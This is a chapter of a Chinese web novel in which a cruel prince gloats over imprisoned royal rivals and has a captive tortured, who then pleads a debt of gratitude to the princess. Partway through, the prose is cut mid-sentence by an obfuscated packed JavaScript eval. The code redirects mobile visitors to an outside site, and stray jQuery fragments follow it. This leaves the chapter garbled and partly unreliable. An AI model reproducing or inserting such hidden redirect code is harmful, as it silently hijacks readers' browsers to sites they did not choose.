32. 恩情

作品:《恶人磨

    刚刚放松的刑部郎中和主簿两人正待掀袍坐下喝口茶,就见刚送走的小阎王又回来了。


    他二人在快要落座时又触底反弹,着急忙慌扶正官帽,不知这世子又闹得哪一出,殷勤些总归没有坏处,不过讨好的言语还没出,往前迈出的步子还没踏上一步就被世子身边异常高壮的随从挡了回去。


    圭吾严肃道:“有重犯需世子亲自审问,事后案子的细节自会由我们整理呈给主簿。”


    他把弯刀一横,警告的意味再明显不过,刑部郎中和主簿还有什么不懂的,脸上挂着妥当的笑容连连称是,往前摆手引他们前去,听话的很。


    暗牢里面关着上千的南国叛逆之臣,一格一格的铁栅栏房子里几十个犯人挤在一起,没有通风的窗户,没有照明的油灯,难闻的气味弥漫发酵,潮湿、闷热、烂臭的气息愈往里走愈深。


    李弃微皱眉头,嫌弃地拿手挡着鼻子,左肩稍微侧着缓慢迈步,生怕什么不干净的东西挨着自己。


    就在这时,突然的一声“啊啊——”声响起,太难听了,就像垂死之人挣扎时的惨叫,又像被野兽撕咬难忍时的绝望呕哑嘲哳,


    “啊——”


    得,喊着还破音了,更难听了,李弃放下手,从圭吾手里拿过油灯过去晃晃,想看清到底是什么鬼东西。


    这一照竟照出了个熟人,他恶劣地笑了,他蹲下来一手搭在膝头,另一手故意拿着油灯在那人不人鬼不鬼的东西面前晃来晃去。


    那人脸色白皙,容貌不错,头发散乱,不过没有什么脆弱破碎的美感,因为他的头发油得结块了,那锦服脏的看不出原来的颜色,更可笑的是一臂的衣袖破成了流苏样。


    “噗——”他笑的不成样子,肩膀抖动带着手里的油灯一亮一亮的,照清他好看的丹凤眼里的氤氲水汽。


    等笑够了,他把肩上的马尾和发带甩到后面,用油灯敲敲铁栅栏,瞬间黑暗寂静的暗牢响起催命般的“噔噔”声,他笑着对里面的人说话:“哟,这不是三皇子吗?怎么在暗牢里?”


    说完这句,李弃不再靠近只拿食指横在鼻前,另一手画着圈道:“还弄得这么,这么个鬼模样?”


    三皇子听了这声音,又借着灯光看见了眼前人的模样后,心彻底死了。


    是李弃,完了。


    他的腿断了,化脓了,忍不住喊了几声,就引来了李弃。


    李弃自然见证了三皇子心死的表情,心里一下子爽翻了,他赶紧催后面的圭吾道:“赶紧赶紧,拿大灯照一下,我倒要看看这里面还有什么人。”


    “扑簌”一下,圭吾从狱卒那里接过一个狱卒专用的大灯点燃,照清了缩在窄小牢房里的一群人,就像一群背着房主人在阴暗角落繁衍的老鼠一样,光照出他们警惕畏惧颤抖的眼睛。


    他一下就看到了躲在最里面的五皇子和八皇子,他乐开了,“哟,怎么大家都在,以前不是总叫我吃死老鼠吗?怎么现在你们就变成了这恶心的老鼠呢?”


    年纪最小的八皇子早就吓破胆了,当年欺负李弃的时候怎么也没想到未来会落到李弃手里。


    他哭着爬向他,用藏污纳垢的双手拉扯他的衣角,然后不住地磕头,泣不成声:“李弃,李弃,你放过我吧,从前我们不该折磨你,我真的错了,只要不杀我,你让我做什么都行!”


    李弃嫌弃地离远,仍然笑着,很好看,只是对于牢里的人来说这一幕残忍至极。


    他语带笑意地说:“哎,最近过得太幸福了,都忘记先弄死你们了,你这一求饶我又想起来了。”


    听这话,三皇子、五皇子和其他人都绝望地闭上了眼,地上匍伏的八皇子瘫在地上泪水涎水一并流着,李弃见着觉得无趣又恶心,就带人先去办正事。


    他走后,牢里一阵打闹,撕咬声,摔打声不断响起,接着三皇子瘆人的“啊啊——”声再度响起,后面跟上来的圭吾禀报:“是三皇子和八皇子打起来,八皇子咬了三皇子腿上的脓。”


    他侧目抬眉,满脸不悦:“让你说这么详细了?恶不恶心。”


    “人到底在哪里?”


    圭吾赶紧把那大灯往前一指,“就在最里面。”


    最里面的的一间小牢房里挤满了人,灰扑扑脏兮兮地埃在一块儿,眼里灰暗没有对生的向往,见有动静也就抬起眼皮看一眼,然后还一副死尸样,一条又一条地瘫在一起。


    与这些人不同的是墙角边的一抹白色身影,那人看着年轻,几缕散发遮住眉眼,身上的衣裳也比其他人干净许多。


    这幅好皮相,让李弃先入为主地认为他就是贵妃的情人了。


    “就是你?长得确实还行。”他上下打量了男子一眼,又吩咐圭吾:“把他拉出来。”


    那男子突然被人拉出来,许久没有活动的身体踉跄了一番,边爬边跪的出了牢门,转而又被人压到了刑房里,神志不清间人早已被架上了刑架。


    李弃找个舒服的姿势坐下,慵散问询:“叫什么名字?”


    那人听了话,整个身体抖动了一下,眼神聚焦了一会儿,才堪堪出口两字:“连舒”。


    他抬眉问圭吾:“是叫这个名字吗?”


    圭吾面上讪讪:“好像是。”


    “好像?什么叫好像是?”李弃耐心有限,从腰间拔出恶剑插向刑架,位置就在连舒耳边一寸的地方,连舒只觉着一阵风吹过,吓得嘴唇直哆嗦。


    他实在是想不明白为何自己被单单提出来审问,他所待的牢房处于最里面,按理来说审问也轮不到他。


    “你就是那情人?说吧,那群道士如今身在何处?”他眼里混杂着残忍与狠戾,让人不敢直视。


    道士?难道是从前宫里的那群炼药的道士?


    可连舒哪知道那群道士的下落,他直喊冤,“世子,世子,奴真的不知道那群道士下落!”


    连舒喊冤李弃不奇怪,也是,哪个罪犯不先都是连连喊冤,上刑之后才改口的吗?


    “不说是吧,也行,上刑吧。”他退后坐下,招呼重游上刑。


    一刻钟后,刚才的白色身影如今已是血迹深深,满身伤痕,连舒垂着头血丝从他嘴角留下。


    那血丝还没滴到地上,一桶凉水就先浸灌了他,堵的七窍不通差点断气。


    “噗噗噗”他挣扎着呼气,才睁开眼睛又对上了李弃阴寒的双眸。


    “说不说?再给你最后一次机会。”他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222729|181587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼里的杀气不是威胁人的,而是真正存在且是会诉诸于实际行动的。


    连舒上次宫难后跟着其他人一起逃跑,后又被当成叛逆之臣关进了这大牢里,逃亡途中他听过世子弃的名声,在这牢里许多被折磨的惨叫声在黑暗的大狱每日每日地传递,他对世子弃的恐惧身入骨髓。


    可他想活下去,他还这么年轻,他决不能死。


    这时,他想起了逃亡途中听到的流言,如果是真的,他决定豁出去拿最后的一点希望一试,只愿获得生还的一点可能性。


    他沙哑地出声,声音轻缓,“世子,您认识伤华公主?”


    李弃把恶剑抽回来,在手中晃荡着,笑意幽深:“怎么?别说你也想在死前恭贺我新婚。”


    连舒一顿,旋即松气,公主真的还活着,如今还成为了李弃的世子妃。


    有了上次的经验,李弃手中转动的剑一稳,直直刺向连舒,他可不想再听到有人诋毁他和伤华是什么狗男女。


    看着眼前锋利的剑锋就要划过脖颈,连舒大喊:“世子!我于公主又恩,求世子放我一条生路。”


    剑停了,剑锋带来的风吹得油灯晃荡,斜晃的光影一会儿照着满脸血迹的连舒,一会儿照着金相玉质的李弃。


    突然,他笑了,这时油灯的暖黄光影刚好落在他身上,照得他蓝色锦衣上的金线熠熠生辉。


    “你于伤华有恩?我怎么不知道?”


    李弃话里隐隐有炫耀之色,“你可能不知道伤华和我是”他嘴角一勾,继续说:“我们是青梅竹马。”


    是吗?多年的窥视也能算是青梅竹马吗?


    连舒曾无数次撞见过那双充满占有欲的窥视的眼睛,只是公主不知道。


    “就算世子和公主是青梅竹马,这两年世子却是不在公主身边,您不知道这件事情情有可原。”


    连舒吞下一口血水,望一眼李弃,后又继续垂着眼,不似说谎。


    昏暗的刑房中沉默数九,不见李弃反应,他狭长凤眼冷寂清冽,不知在想什么。


    可怕的沉默令人煎熬,连舒心里渴盼的生机似乎在随着这一点一滴的沉默消逝,他多么想活着。


    从前,自己为公主做的那点牺牲是他心底隐秘且不能宣之于口的甜蜜,如今为了那点生还的希望,他只能将那微末的恩情拿出来,践踏自己仅剩的珍贵的真心,以换取生还的可能。


    他抬起自己的左手给李弃看,“我在两年前为了救公主折了一根手指。”


    他的左手只有四根手指,小拇指处只余留一个不甚整齐的切面,确实没了一根手指。


    李弃闻言掀睫抬眉,一副“我看你能说出什么花”的模样,根本没把连舒的生死筹码当一回事,于伤华又恩,他本来想留他一命的,可是——


    “你断指的时候,伤华可有见到?”,他紧盯着连舒,看都没看一眼那断指。


    连舒不理解李弃的逻辑,只以为他是要看在公主的面上放过自己,直道:“公主见过,还为我治伤答谢了。”


    李弃背手散漫踱步,眼睛盯着地面,“印象这么深刻啊——”


    突然,他停下步子,凤眸一敛,语气森冷:“那可不行。”